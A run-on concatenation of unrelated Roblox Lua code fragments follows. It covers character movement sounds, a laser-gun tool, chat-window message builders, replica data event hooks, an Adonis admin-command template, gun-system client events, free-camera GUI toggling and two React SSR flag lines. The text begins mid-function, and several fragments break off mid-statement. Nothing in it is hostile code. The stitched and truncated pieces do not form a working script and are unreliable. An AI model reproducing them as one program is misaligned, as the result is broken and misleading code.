sClimbing:Stop() sRunning:Stop() sSwimming.Pitch = 1.6 sSwimming:Play() end function onClimbing(speed) sRunning:Stop() sSwimming:Stop() if speed>0.01 then sClimbing:Play() sClimbing.Pitch = speed / 5.5 else sClimbing:Stop() end prevState = "Climb" end
--Rescripted by Luckymaxer
Tool = script.Parent Handle = Tool:WaitForChild("Handle") Players = game:GetService("Players") Debris = game:GetService("Debris") Speed = 100 Duration = 1 NozzleOffset = Vector3.new(0, 0.4, -1.1) Sounds = { Fire = Handle:WaitForChild("Fire"), Reload = Handle:WaitForChild("Reload"), HitFade = Handle:WaitForChild("HitFade") } PointLight = Handle:WaitForChild("PointLight") ServerControl = (Tool:FindFirstChild("ServerControl") or Instance.new("RemoteFunction")) ServerControl.Name = "ServerControl" ServerControl.Parent = Tool ClientControl = (Tool:FindFirstChild("ClientControl") or Instance.new("RemoteFunction")) ClientControl.Name = "ClientControl" ClientControl.Parent = Tool ServerControl.OnServerInvoke = (function(player, Mode, Value, arg) if player ~= Player or Humanoid.Health == 0 or not Tool.Enabled then return end if Mode == "Click" and Value then Activated(arg) end end) function InvokeClient(Mode, Value) pcall(function() ClientControl:InvokeClient(Player, Mode, Value) end) end function TagHumanoid(humanoid, player) local Creator_Tag = Instance.new("ObjectValue") Creator_Tag.Name = "creator" Creator_Tag.Value = player Debris:AddItem(Creator_Tag, 2) Creator_Tag.Parent = humanoid end function UntagHumanoid(humanoid) for i, v in pairs(humanoid:GetChildren()) do if v:IsA("ObjectValue") and v.Name == "creator" then v:Destroy() end end end function FindCharacterAncestor(Parent) if Parent and Parent ~= game:GetService("Workspace") then local humanoid = Parent:FindFirstChild("Humanoid") if humanoid then return Parent, humanoid else return FindCharacterAncestor(Parent.Parent) end end return nil end function GetTransparentsRecursive(Parent, PartsTable) local PartsTable = (PartsTable or {}) for i, v in pairs(Parent:GetChildren()) do local TransparencyExists = false pcall(function() local Transparency = v["Transparency"] if Transparency then TransparencyExists = true end end) if TransparencyExists then table.insert(PartsTable, v) end GetTransparentsRecursive(v, PartsTable) end return PartsTable end function SelectionBoxify(Object) local SelectionBox = Instance.new("SelectionBox") SelectionBox.Adornee = Object SelectionBox.Color = BrickColor.new("Really red") SelectionBox.Parent = Object return SelectionBox end local function Light(Object) local Light = PointLight:Clone() Light.Range = (Light.Range + 2) Light.Parent = Object end function FadeOutObjects(Objects, FadeIncrement) repeat local LastObject = nil for i, v in pairs(Objects) do v.Transparency = (v.Transparency + FadeIncrement) LastObject = v end wait() until LastObject.Transparency >= 1 or not LastObject end function Dematerialize(character, humanoid, FirstPart) if not character or not humanoid then return end humanoid.WalkSpeed = 0 local Parts = {} for i, v in pairs(character:GetChildren()) do if v:IsA("BasePart") then v.Anchored = true table.insert(Parts, v) elseif v:IsA("LocalScript") or v:IsA("Script") then v:Destroy() end end local SelectionBoxes = {} local FirstSelectionBox = SelectionBoxify(FirstPart) Light(FirstPart) wait(0.05) for i, v in pairs(Parts) do if v ~= FirstPart then table.insert(SelectionBoxes, SelectionBoxify(v)) Light(v) end end local ObjectsWithTransparency = GetTransparentsRecursive(character) FadeOutObjects(ObjectsWithTransparency, 0.1) wait(0.5) character:BreakJoints() humanoid.Health = 0 Debris:AddItem(character, 2) local FadeIncrement = 0.05 Delay(0.2, function() FadeOutObjects({FirstSelectionBox}, FadeIncrement) if character and character.Parent then character:Destroy() end end) FadeOutObjects(SelectionBoxes, FadeIncrement) end function Touched(Projectile, Hit) if not Hit or not Hit.Parent then return end local character, humanoid = FindCharacterAncestor(Hit) if character and humanoid and character ~= Character then local ForceFieldExists = false for i, v in pairs(character:GetChildren()) do if v:IsA("ForceField") then ForceFieldExists = true end end if not ForceFieldExists then if Projectile then local HitFadeSound = Projectile:FindFirstChild(Sounds.HitFade.Name) local torso = humanoid.Torso if HitFadeSound and torso then HitFadeSound.Parent = torso HitFadeSound:Play() end end Dematerialize(character, humanoid, Hit) end if Projectile and Projectile.Parent then Projectile:Destroy() end end end function Equipped() Character = Tool.Parent Player = Players:GetPlayerFromCharacter(Character) Humanoid = Character:FindFirstChild("Humanoid") if not Player or not Humanoid or Humanoid.Health == 0 then return end end function Activated(target) if Tool.Enabled and Humanoid.Health > 0 then Tool.Enabled = false InvokeClient("PlaySound", Sounds.Fire) local HandleCFrame = Handle.CFrame local FiringPoint = HandleCFrame.p + HandleCFrame:vectorToWorldSpace(NozzleOffset) local ShotCFrame = CFrame.new(FiringPoint, target) local LaserShotClone = BaseShot:Clone() LaserShotClone.CFrame = ShotCFrame + (ShotCFrame.lookVector * (BaseShot.Size.Z / 2)) local BodyVelocity = Instance.new("BodyVelocity") BodyVelocity.velocity = ShotCFrame.lookVector * Speed BodyVelocity.Parent = LaserShotClone LaserShotClone.Touched:connect(function(Hit) if not Hit or not Hit.Parent then return end Touched(LaserShotClone, Hit) end) Debris:AddItem(LaserShotClone, Duration) LaserShotClone.Parent = game:GetService("Workspace") wait(0.6) -- FireSound length InvokeClient("PlaySound", Sounds.Reload) wait(0.75) -- ReloadSound length Tool.Enabled = true end end function Unequipped() end BaseShot = Instance.new("Part") BaseShot.Name = "Effect" BaseShot.BrickColor = BrickColor.new("Really red") BaseShot.Material = Enum.Material.Plastic BaseShot.Shape = Enum.PartType.Block BaseShot.TopSurface = Enum.SurfaceType.Smooth BaseShot.BottomSurface = Enum.SurfaceType.Smooth BaseShot.FormFactor = Enum.FormFactor.Custom BaseShot.Size = Vector3.new(0.2, 0.2, 3) BaseShot.CanCollide = false BaseShot.Locked = true SelectionBoxify(BaseShot) Light(BaseShot) BaseShotSound = Sounds.HitFade:Clone() BaseShotSound.Parent = BaseShot Tool.Equipped:connect(Equipped) Tool.Unequipped:connect(Unequipped)
--// Above was taken directly from Util.GetStringTextBounds() in the old chat corescripts.
function methods:GetMessageHeight(BaseMessage, BaseFrame, xSize) xSize = xSize or BaseFrame.AbsoluteSize.X local textBoundsSize = self:GetStringTextBounds(BaseMessage.Text, BaseMessage.Font, BaseMessage.TextSize, UDim2.new(0, xSize, 0, 1000)) return textBoundsSize.Y end function methods:GetNumberOfSpaces(str, font, textSize) local strSize = self:GetStringTextBounds(str, font, textSize) local singleSpaceSize = self:GetStringTextBounds(" ", font, textSize) return math.ceil(strSize.X / singleSpaceSize.X) end function methods:CreateBaseMessage(message, font, textSize, chatColor) local BaseFrame = self:GetFromObjectPool("Frame") BaseFrame.Selectable = false BaseFrame.Size = UDim2.new(1, 0, 0, 18) BaseFrame.Visible = true BaseFrame.BackgroundTransparency = 1 local messageBorder = 8 local BaseMessage = self:GetFromObjectPool("TextLabel") BaseMessage.Selectable = false BaseMessage.Size = UDim2.new(1, -(messageBorder + 6), 1, 0) BaseMessage.Position = UDim2.new(0, messageBorder, 0, 0) BaseMessage.BackgroundTransparency = 1 BaseMessage.Font = font BaseMessage.TextSize = textSize BaseMessage.TextXAlignment = Enum.TextXAlignment.Left BaseMessage.TextYAlignment = Enum.TextYAlignment.Top BaseMessage.TextTransparency = 0 BaseMessage.TextStrokeTransparency = 0.625 BaseMessage.TextStrokeColor3 = Color3.new( 255/255 , 206/255 , 244/255 ) BaseMessage.TextColor3 = chatColor BaseMessage.TextWrapped = true BaseMessage.Text = message BaseMessage.Visible = true BaseMessage.Parent = BaseFrame return BaseFrame, BaseMessage end function methods:AddNameButtonToBaseMessage(BaseMessage, nameColor, formatName, playerName) local speakerNameSize = self:GetStringTextBounds(formatName, BaseMessage.Font, BaseMessage.TextSize) local NameButton = self:GetFromObjectPool("TextButton") NameButton.Selectable = false NameButton.Size = UDim2.new(0, speakerNameSize.X, 0, speakerNameSize.Y) NameButton.Position = UDim2.new(0, 0, 0, 0) NameButton.BackgroundTransparency = 1 NameButton.Font = BaseMessage.Font NameButton.TextSize = BaseMessage.TextSize NameButton.TextXAlignment = BaseMessage.TextXAlignment NameButton.TextYAlignment = BaseMessage.TextYAlignment NameButton.TextTransparency = BaseMessage.TextTransparency NameButton.TextStrokeTransparency = BaseMessage.TextStrokeTransparency NameButton.TextStrokeColor3 = Color3.new( 188/255 , 37/255 , 72/255 ) NameButton.TextColor3 = nameColor NameButton.Text = formatName NameButton.Visible = true NameButton.Parent = BaseMessage NameButton.MouseButton1Click:connect(function() self:NameButtonClicked(NameButton, playerName) end) return NameButton end function methods:AddChannelButtonToBaseMessage(BaseMessage, channelColor, formatChannelName, channelName) local channelNameSize = self:GetStringTextBounds(formatChannelName, BaseMessage.Font, BaseMessage.TextSize) local ChannelButton = self:GetFromObjectPool("TextButton") ChannelButton.Selectable = false ChannelButton.Size = UDim2.new(0, channelNameSize.X, 0, channelNameSize.Y) ChannelButton.Position = UDim2.new(0, 0, 0, 0) ChannelButton.BackgroundTransparency = 1 ChannelButton.Font = BaseMessage.Font ChannelButton.TextSize = BaseMessage.TextSize ChannelButton.TextXAlignment = BaseMessage.TextXAlignment ChannelButton.TextYAlignment = BaseMessage.TextYAlignment ChannelButton.TextTransparency = BaseMessage.TextTransparency ChannelButton.TextStrokeTransparency = BaseMessage.TextStrokeTransparency ChannelButton.TextColor3 = channelColor ChannelButton.Text = formatChannelName ChannelButton.Visible = true ChannelButton.Parent = BaseMessage ChannelButton.MouseButton1Click:connect(function() self:ChannelButtonClicked(ChannelButton, channelName) end) return ChannelButton end function methods:NameButtonClicked(nameButton, playerName) if not self.ChatWindow then return end if ChatSettings.ClickOnPlayerNameToWhisper then local player = Players:FindFirstChild(playerName) if player and player ~= LocalPlayer then local whisperChannel = "To " ..playerName if self.ChatWindow:GetChannel(whisperChannel) then self.ChatBar:ResetCustomState() local targetChannelName = self.ChatWindow:GetTargetMessageChannel() if targetChannelName ~= whisperChannel then self.ChatWindow:SwitchCurrentChannel(whisperChannel) end self.ChatBar:ResetText() self.ChatBar:CaptureFocus() elseif not self.ChatBar:IsInCustomState() then local whisperMessage = "/w " ..playerName self.ChatBar:CaptureFocus() self.ChatBar:SetText(whisperMessage) end end end end function methods:ChannelButtonClicked(channelButton, channelName) if not self.ChatWindow then return end if ChatSettings.ClickOnChannelNameToSetMainChannel then if self.ChatWindow:GetChannel(channelName) then self.ChatBar:ResetCustomState() local targetChannelName = self.ChatWindow:GetTargetMessageChannel() if targetChannelName ~= channelName then self.ChatWindow:SwitchCurrentChannel(channelName) end self.ChatBar:ResetText() self.ChatBar:CaptureFocus() end end end function methods:RegisterChatWindow(chatWindow) self.ChatWindow = chatWindow self.ChatBar = chatWindow:GetChatBar() end function methods:GetFromObjectPool(className) if self.ObjectPool == nil then return Instance.new(className) end return self.ObjectPool:GetInstance(className) end function methods:RegisterObjectPool(objectPool) self.ObjectPool = objectPool end function methods:RegisterGuiRoot(root) testLabel.Parent = root end
--RGB Colors
local redV = 25 --If you want a different color change this. (Must understand RGB) local greenV = 25 local blueV = 205
-- Replica data changes:
rev_ReplicaSetValue.OnClientEvent:Connect(ReplicaSetValue) -- (replica_id, {path}, value) rev_ReplicaSetValues.OnClientEvent:Connect(ReplicaSetValues) -- (replica_id, {path}, {values}) rev_ReplicaArrayInsert.OnClientEvent:Connect(ReplicaArrayInsert) -- (replica_id, {path}, value) rev_ReplicaArraySet.OnClientEvent:Connect(ReplicaArraySet) -- (replica_id, {path}, index, value) rev_ReplicaArrayRemove.OnClientEvent:Connect(ReplicaArrayRemove) -- (replica_id, {path}, index) rev_ReplicaWrite.OnClientEvent:Connect(function(replica_id, func_id, ...) -- (replica_id, func_id, {params}) local replica = Replicas[replica_id] -- Running function: WriteFunctionFlag = true replica._write_lib[func_id](replica, ...) WriteFunctionFlag = false -- Signaling listeners: local listeners = replica._function_listeners[func_id] if listeners ~= nil then for _, listener in ipairs(listeners) do listener(...) end end end)
-- recommend waiting for a longer time
while task.wait(math.random(10 , 20)) do --[[ we are requiring the chatService module in the loop because it might not have loaded before ]]-- if not ChatService then if ServerScriptService:FindFirstChild("ChatServiceRunner") then ChatService = require(ServerScriptService.ChatServiceRunner:WaitForChild("ChatService")) end end -- destroying the frame here because cleaning space for new ones for i , v in pairs(script.Parent:GetChildren()) do if v:IsA("Frame") then v:Destroy() end end Arrange() end
--// Easily add new custom commands below (without needing to create a plugin module) --// You can also use this to overwrite existing commands if you know the command's index (found in the command's respective module within the Adonis MainModule)
settings.Commands = { ExampleCommand1 = { --// The index & table of the command Prefix = Settings.Prefix; --// The prefix the command will use, this is the ':' in ':ff me' Commands = {"examplecommand1", "examplealias1", "examplealias2"}; --// A table containing the command strings (the things you chat in-game to run the command, the 'ff' in ':ff me') Args = {"arg1", "arg2", "etc"}; --// Command arguments, these will be available in order as args[1], args[2], args[3], etc; This is the 'me' in ':ff me' Description = "Example command";--// The description of the command AdminLevel = 100; -- Moderators --// The commands minimum admin level; This can also be a table containing specific levels rather than a minimum level: {124, 152, "HeadAdmins", etc}; -- Alternative option: AdminLevel = "Moderators" Filter = true; --// Should user supplied text passed to this command be filtered automatically? Use this if you plan to display a user-defined message to other players Hidden = true; --// Should this command be hidden from the command list? Disabled = true; --// If set to true this command won't be usable. Function = function(plr: Player, args: {string}, data) --// The command's function; This is the actual code of the command which runs when you run the command --// "plr" is the player running the command --// "args" is an array of strings containing command arguments supplied by the user --// "data" is a table containing information related to the command and the player running it, such as data.PlayerData.Level (the player's admin level) [Refer to API docs] print("This is 'arg1':", tostring(args[1])) print("This is 'arg2':", tostring(args[2])) print("This is 'etc'(arg 3):", tostring(args[3])) error("this is an example error :o !") --// Errors raised in the function during command execution will be displayed to the user. end }; } settings.CommandCooldowns = {
-- Preload animations
function playAnimation(animName, transitionTime, humanoid) local roll = math.random(1, animTable[animName].totalWeight) local origRoll = roll local idx = 1 while (roll > animTable[animName][idx].weight) do roll = roll - animTable[animName][idx].weight idx = idx + 1 end
-------------//Events\\-------------
Evt.HitEffect.OnClientEvent:Connect(function(Player,Position, HitPart, Normal, Material,Settings) if Player ~= plr then HitMod.HitEffect(Ignore_Model,Position, HitPart, Normal, Material,Settings) end end) Evt.Atirar.OnClientEvent:Connect(function(Player,Arma,Suppressor,FlashHider) if Player ~= plr and Arma then if Player.Character:FindFirstChild("S"..Arma.Name) and Player.Character:FindFirstChild('S'..Arma.Name).Handle:FindFirstChild("Muzzle") then local Muzzle = Player.Character:FindFirstChild("S"..Arma.Name).Handle.Muzzle if Suppressor then Muzzle.Supressor:Play() else Muzzle.Fire:Play() end if FlashHider then Muzzle["Smoke"]:Emit(10) else Muzzle["FlashFX[Flash]"]:Emit(10) Muzzle["Smoke"]:Emit(10) end end if Player.Character:FindFirstChild("AnimBase") ~= nil and Player.Character.AnimBase:FindFirstChild("AnimBaseW") then local AnimBase = Player.Character:WaitForChild("AnimBase"):WaitForChild("AnimBaseW") TS:Create(AnimBase, TweenInfo.new(0.05,Enum.EasingStyle.Sine,Enum.EasingDirection.InOut,0,false,0), {C1 = CFrame.new(0,0,0.15):Inverse()} ):Play() delay(.1,function() TS:Create(AnimBase, TweenInfo.new(.05,Enum.EasingStyle.Sine,Enum.EasingDirection.InOut,0,false,0), {C1 = CFrame.new():Inverse()} ):Play() end) end end end) Evt.SVLaser.OnClientEvent:Connect(function(Player,Position,Modo,Cor,IR,Arma) if Player ~= plr and Player.Character and Arma then if ACS_Workspace.Server:FindFirstChild(Player.Name.."_Laser") == nil then local Dot = Instance.new('Part',ACS_Workspace.Server) local Att0 = Instance.new('Attachment',Dot) Att0.Name = "Att0" Dot.Name = Player.Name.."_Laser" Dot.Transparency = 1 if Player.Character:FindFirstChild("S"..Arma.Name) and Player.Character:FindFirstChild('S'..Arma.Name).Handle:FindFirstChild("Muzzle") then local Muzzle = Player.Character:FindFirstChild("S"..Arma.Name).Handle.Muzzle local Laser = Instance.new('Beam',Dot) Laser.Transparency = NumberSequence.new(0) Laser.LightEmission = 1 Laser.LightInfluence = 0 Laser.Attachment0 = Att0 Laser.Attachment1 = Muzzle Laser.Color = ColorSequence.new(Cor) Laser.FaceCamera = true Laser.Width0 = 0.01 Laser.Width1 = 0.01 if not NVG then Laser.Enabled = false end end end if Modo == 1 then if ACS_Workspace.Server:FindFirstChild(Player.Name.."_Laser") then local LA = ACS_Workspace.Server:FindFirstChild(Player.Name.."_Laser") LA.Shape = 'Ball' LA.Size = Vector3.new(0.2, 0.2, 0.2) LA.CanCollide = false LA.Anchored = true LA.Color = Cor LA.Material = Enum.Material.Neon LA.Position = Position if NVG then LA.Transparency = 0 if LA:FindFirstChild("Beam") then LA.Beam.Enabled = true end else if IR then LA.Transparency = 1 else LA.Transparency = 0 end if LA:FindFirstChild("Beam") then LA.Beam.Enabled = false end end end elseif Modo == 2 then if ACS_Workspace.Server:FindFirstChild(Player.Name.."_Laser") then ACS_Workspace.Server:FindFirstChild(Player.Name.."_Laser"):Destroy() end end end end) Evt.SVFlash.OnClientEvent:Connect(function(Player,Arma,Mode) if Player ~= plr and Player.Character and Arma then local Weapon = Player.Character:FindFirstChild("S"..Arma.Name) if Weapon then if Mode then for index, Key in pairs(Weapon:GetDescendants()) do if Key:IsA("BasePart") and Key.Name == "FlashPoint" then Key.Light.Enabled = true end end else for index, Key in pairs(Weapon:GetDescendants()) do if Key:IsA("BasePart") and Key.Name == "FlashPoint" then Key.Light.Enabled = false end end end end end end) Evt.Whizz.OnClientEvent:connect(function() local Som = Instance.new('Sound') Som.Parent = plr.PlayerGui Som.SoundId = "rbxassetid://"..WhizzSound[math.random(1,#WhizzSound)] Som.Volume = 2 Som.PlayOnRemove = true Som:Destroy() end) Evt.MedSys.MedHandler.OnClientEvent:connect(function(Mode) if Mode == 4 then local FX = Instance.new('ColorCorrectionEffect') FX.Parent = cam TS:Create(FX,TweenInfo.new(.15,Enum.EasingStyle.Linear),{Contrast = -.25}):Play() delay(.15,function() TS:Create(FX,TweenInfo.new(1.5,Enum.EasingStyle.Sine,Enum.EasingDirection.In,0,false,0.15),{Contrast = 0}):Play() Debris:AddItem(FX,1.5) end) elseif Mode == 5 then local FX = Instance.new('ColorCorrectionEffect') FX.Parent = cam TS:Create(FX,TweenInfo.new(.15,Enum.EasingStyle.Linear),{Contrast = .5}):Play() delay(.15,function() TS:Create(FX,TweenInfo.new(1.5,Enum.EasingStyle.Sine,Enum.EasingDirection.In,0,false,0.15),{Contrast = 0}):Play() Debris:AddItem(FX,1.5) end) elseif Mode == 6 then local FX = Instance.new('ColorCorrectionEffect') FX.Parent = cam TS:Create(FX,TweenInfo.new(.15,Enum.EasingStyle.Linear),{Contrast = -.25}):Play() delay(.15,function() TS:Create(FX,TweenInfo.new(60,Enum.EasingStyle.Sine,Enum.EasingDirection.In,0,false,0.15),{Contrast = 0}):Play() Debris:AddItem(FX,60) end) elseif Mode == 7 then local FX = Instance.new('ColorCorrectionEffect') FX.Parent = cam TS:Create(FX,TweenInfo.new(.15,Enum.EasingStyle.Linear),{Contrast = .5}):Play() delay(.15,function() TS:Create(FX,TweenInfo.new(30,Enum.EasingStyle.Sine,Enum.EasingDirection.In,0,false,0.15),{Contrast = 0}):Play() Debris:AddItem(FX,30) end) end end) Evt.Suppression.OnClientEvent:Connect(function(Mode,Intensity,Tempo) local SE_GUI = plr.PlayerGui:FindFirstChild("StatusUI") if plr.Character and plr.Character.Humanoid.Health > 0 and SE_GUI then if Mode == 1 then TS:Create(SE_GUI.Efeitos.Suppress,TweenInfo.new(.1),{ImageTransparency = 0, Size = UDim2.fromScale(1,1.15)}):Play() delay(.1,function() TS:Create(SE_GUI.Efeitos.Suppress,TweenInfo.new(1,Enum.EasingStyle.Exponential,Enum.EasingDirection.InOut,0,false,0.15),{ImageTransparency = 1,Size = UDim2.fromScale(2,2)}):Play() end) elseif Mode == 2 then local ring = PastaFx.EarRing:Clone() ring.Parent = plr.PlayerGui ring.Volume = 0 ring:Play() Debris:AddItem(ring,Tempo) TS:Create(ring,TweenInfo.new(.1),{Volume = 2}):Play() delay(.1,function() TS:Create(ring,TweenInfo.new(Tempo,Enum.EasingStyle.Linear,Enum.EasingDirection.InOut,0,false,0.15),{Volume = 0}):Play() end) TS:Create(SE_GUI.Efeitos.Dirty,TweenInfo.new(.1),{ImageTransparency = 0, Size = UDim2.fromScale(1,1.15)}):Play() delay(.1,function() TS:Create(SE_GUI.Efeitos.Dirty,TweenInfo.new(Tempo,Enum.EasingStyle.Exponential,Enum.EasingDirection.InOut,0,false,0.15),{ImageTransparency = 1,Size = UDim2.fromScale(2,2)}):Play() end) else local ring = PastaFx.EarRing:Clone() ring.Parent = plr.PlayerGui ring.Volume = 0 ring:Play() Debris:AddItem(ring,Tempo) TS:Create(ring,TweenInfo.new(.1),{Volume = 2}):Play() delay(.1,function() TS:Create(ring,TweenInfo.new(Tempo,Enum.EasingStyle.Linear,Enum.EasingDirection.InOut,0,false,0.15),{Volume = 0}):Play() end) end end end) Evt.GunStance.OnClientEvent:Connect(function(Player,stance,Data) if not Player or not Player.Character then return; end; if not Player.Character:FindFirstChild("Humanoid") or Player.Character.Humanoid.Health <= 0 then return; end; if not Player.Character:FindFirstChild("AnimBase") or not Player.Character.AnimBase:FindFirstChild("RAW") or not Player.Character.AnimBase:FindFirstChild("LAW") then return; end; local Right_Weld = Player.Character.AnimBase:FindFirstChild("RAW") local Left_Weld = Player.Character.AnimBase:FindFirstChild("LAW") if not Right_Weld or not Left_Weld then return; end; --// Some Yanderedev work over here, huh? if stance == 0 then TS:Create(Right_Weld, TweenInfo.new(.25,Enum.EasingStyle.Sine), {C0 = Data.SV_RightArmPos} ):Play() TS:Create(Left_Weld, TweenInfo.new(.25,Enum.EasingStyle.Sine), {C0 = Data.SV_LeftArmPos} ):Play() return; elseif stance == 2 then TS:Create(Right_Weld, TweenInfo.new(.25,Enum.EasingStyle.Sine), {C0 = Data.RightAim} ):Play() TS:Create(Left_Weld, TweenInfo.new(.25,Enum.EasingStyle.Sine), {C0 = Data.LeftAim} ):Play() return; elseif stance == 1 then TS:Create(Right_Weld, TweenInfo.new(.25,Enum.EasingStyle.Sine), {C0 = Data.RightHighReady} ):Play() TS:Create(Left_Weld, TweenInfo.new(.25,Enum.EasingStyle.Sine), {C0 = Data.LeftHighReady} ):Play() return; elseif stance == -1 then TS:Create(Right_Weld, TweenInfo.new(.25,Enum.EasingStyle.Sine), {C0 = Data.RightLowReady} ):Play() TS:Create(Left_Weld, TweenInfo.new(.25,Enum.EasingStyle.Sine), {C0 = Data.LeftLowReady} ):Play() return; elseif stance == -2 then TS:Create(Right_Weld, TweenInfo.new(.25,Enum.EasingStyle.Sine), {C0 = Data.RightPatrol} ):Play() TS:Create(Left_Weld, TweenInfo.new(.25,Enum.EasingStyle.Sine), {C0 = Data.LeftPatrol} ):Play() return; elseif stance == 3 then TS:Create(Right_Weld, TweenInfo.new(.25,Enum.EasingStyle.Sine), {C0 = Data.RightSprint} ):Play() TS:Create(Left_Weld, TweenInfo.new(.25,Enum.EasingStyle.Sine), {C0 = Data.LeftSprint} ):Play() return; end return; end) Evt.HeadRot.OnClientEvent:Connect(function(Player, CF) if not Player or Player == plr or not Player.Character or not Player.Character:FindFirstChild("Torso") or not Player.Character:FindFirstChild("Head") then return; end; local Neck = Player.Character.Torso:FindFirstChild("Neck"); if not Neck then return; end; TS:Create(Neck, TweenInfo.new(.2, Enum.EasingStyle.Sine, Enum.EasingDirection.Out, 0, false, 0), {C1 = CF}):Play() end) function CastRay(Bullet) if not Bullet then return; end; local Bpos = Bullet.Position local Bpos2 = Bpos local recast = false local raycastResult local raycastParams = RaycastParams.new() raycastParams.FilterDescendantsInstances = Ignore_Model raycastParams.FilterType = Enum.RaycastFilterType.Blacklist raycastParams.IgnoreWater = true while Bullet do Run.Heartbeat:Wait() if not Bullet.Parent then break; end; Bpos = Bullet.Position -- Set an origin and directional vector raycastResult = workspace:Raycast(Bpos2, (Bpos - Bpos2) * 1, raycastParams) recast = false if raycastResult then local Hit2 = raycastResult.Instance if Hit2 and (Hit2.Parent:IsA('Accessory') or Hit2.Parent:IsA('Hat') or Hit2.Transparency >= 1 or Hit2.CanCollide == false or Hit2.Name == "Ignorable" or Hit2.Name == "Glass" or Hit2.Name == "Ignore" or Hit2.Parent.Name == "Top" or Hit2.Parent.Name == "Helmet" or Hit2.Parent.Name == "Up" or Hit2.Parent.Name == "Down" or Hit2.Parent.Name == "Face" or Hit2.Parent.Name == "Olho" or Hit2.Parent.Name == "Headset" or Hit2.Parent.Name == "Numero" or Hit2.Parent.Name == "Vest" or Hit2.Parent.Name == "Chest" or Hit2.Parent.Name == "Waist" or Hit2.Parent.Name == "Back" or Hit2.Parent.Name == "Belt" or Hit2.Parent.Name == "Leg1" or Hit2.Parent.Name == "Leg2" or Hit2.Parent.Name == "Arm1" or Hit2.Parent.Name == "Arm2") and Hit2.Name ~= 'Right Arm' and Hit2.Name ~= 'Left Arm' and Hit2.Name ~= 'Right Leg' and Hit2.Name ~= 'Left Leg' and Hit2.Name ~= "UpperTorso" and Hit2.Name ~= "LowerTorso" and Hit2.Name ~= "RightUpperArm" and Hit2.Name ~= "RightLowerArm" and Hit2.Name ~= "RightHand" and Hit2.Name ~= "LeftUpperArm" and Hit2.Name ~= "LeftLowerArm" and Hit2.Name ~= "LeftHand" and Hit2.Name ~= "RightUpperLeg" and Hit2.Name ~= "RightLowerLeg" and Hit2.Name ~= "RightFoot" and Hit2.Name ~= "LeftUpperLeg" and Hit2.Name ~= "LeftLowerLeg" and Hit2.Name ~= "LeftFoot" and Hit2.Name ~= 'Armor' and Hit2.Name ~= 'EShield' then table.insert(Ignore_Model, Hit2) recast = true CastRay(Bullet) break end end if raycastResult and not recast then Bullet:Destroy() break end Bpos2 = Bpos end end Evt.ServerBullet.OnClientEvent:Connect(function(Player, Origin, Direction, WeaponData, ModTable) if Player ~= plr and Player.Character then local Bullet = Instance.new("Part",ACS_Workspace.Server) Bullet.Name = Player.Name.."_Bullet" Bullet.CanCollide = false Bullet.Shape = Enum.PartType.Ball Bullet.Transparency = 1 Bullet.Size = Vector3.new(1,1,1) local BulletCF = CFrame.new(Origin, Direction) local WalkMul = WeaponData.WalkMult * ModTable.WalkMult local BColor = Color3.fromRGB(255,255,255) if WeaponData.RainbowMode then BColor = Color3.fromRGB(math.random(0,255),math.random(0,255),math.random(0,255)) else BColor = WeaponData.TracerColor end if WeaponData.Tracer == true then local At1 = Instance.new("Attachment") At1.Name = "At1" At1.Position = Vector3.new(-(.05),0,0) At1.Parent = Bullet local At2 = Instance.new("Attachment") At2.Name = "At2" At2.Position = Vector3.new((.05),0,0) At2.Parent = Bullet local Particles = Instance.new("Trail") Particles.Transparency = NumberSequence.new({ NumberSequenceKeypoint.new(0, 0, 0); NumberSequenceKeypoint.new(1, 1); } ) Particles.WidthScale = NumberSequence.new({ NumberSequenceKeypoint.new(0, 2, 0); NumberSequenceKeypoint.new(1, 1); } ) Particles.Color = ColorSequence.new(BColor) Particles.Texture = "rbxassetid://232918622" Particles.TextureMode = Enum.TextureMode.Stretch Particles.FaceCamera = true Particles.LightEmission = 1 Particles.LightInfluence = 0 Particles.Lifetime = .25 Particles.Attachment0 = At1 Particles.Attachment1 = At2 Particles.Parent = Bullet end if WeaponData.BulletFlare == true then local bg = Instance.new("BillboardGui", Bullet) bg.Adornee = Bullet local flashsize = math.random(275, 375)/10 bg.Size = UDim2.new(flashsize, 0, flashsize, 0) bg.LightInfluence = 0 local flash = Instance.new("ImageLabel", bg) flash.BackgroundTransparency = 1 flash.Size = UDim2.new(1, 0, 1, 0) flash.Position = UDim2.new(0, 0, 0, 0) flash.Image = "http://www.roblox.com/asset/?id=1047066405" flash.ImageTransparency = math.random(2, 5)/15 flash.ImageColor3 = BColor end local BulletMass = Bullet:GetMass() local Force = Vector3.new(0,BulletMass * (196.2) - (WeaponData.BulletDrop) * (196.2), 0) local BF = Instance.new("BodyForce",Bullet) Bullet.CFrame = BulletCF Bullet:ApplyImpulse(Direction * WeaponData.MuzzleVelocity * ModTable.MuzzleVelocity) BF.Force = Force game.Debris:AddItem(Bullet, 5) CastRay(Bullet) end end)
-- To exit and enter free camera, use key shortcut Left Shift + P
local player = game:GetService("Players") while not player.LocalPlayer do player.Changed:wait() end player = player.LocalPlayer local camera = workspace.CurrentCamera local RS = game:GetService("RunService") local UIS = game:GetService("UserInputService") local StarterGui = game:GetService("StarterGui") local Spring = require(script:WaitForChild("Spring")) local Maid = require(script:WaitForChild("Maid")) local WasGuiVisible = {} function ToggleGui(on) if not on then WasGuiVisible["PointsNotificationsActive"] = StarterGui:GetCore("PointsNotificationsActive") WasGuiVisible["BadgesNotificationsActive"] = StarterGui:GetCore("BadgesNotificationsActive") WasGuiVisible["Health"] = StarterGui:GetCoreGuiEnabled(Enum.CoreGuiType.Health) WasGuiVisible["Backpack"] = StarterGui:GetCoreGuiEnabled(Enum.CoreGuiType.Backpack) WasGuiVisible["PlayerList"] = StarterGui:GetCoreGuiEnabled(Enum.CoreGuiType.PlayerList) WasGuiVisible["Chat"] = StarterGui:GetCoreGuiEnabled(Enum.CoreGuiType.Chat) end local function GuiOn(name) if on == false then return false end if WasGuiVisible[name] ~= nil then return WasGuiVisible[name] end return true end StarterGui:SetCore("PointsNotificationsActive", GuiOn("PointsNotificationsActive")) StarterGui:SetCore("BadgesNotificationsActive", GuiOn("BadgesNotificationsActive")) StarterGui:SetCoreGuiEnabled(Enum.CoreGuiType.Health, GuiOn("Health")) StarterGui:SetCoreGuiEnabled(Enum.CoreGuiType.Backpack, GuiOn("Backpack")) StarterGui:SetCoreGuiEnabled(Enum.CoreGuiType.PlayerList, GuiOn("PlayerList")) StarterGui:SetCoreGuiEnabled(Enum.CoreGuiType.Chat, GuiOn("Chat")) end
-- SSR experiments
exports.enableSuspenseServerRenderer = _G.__EXPERIMENTAL__ exports.enableSelectiveHydration = _G.__EXPERIMENTAL__
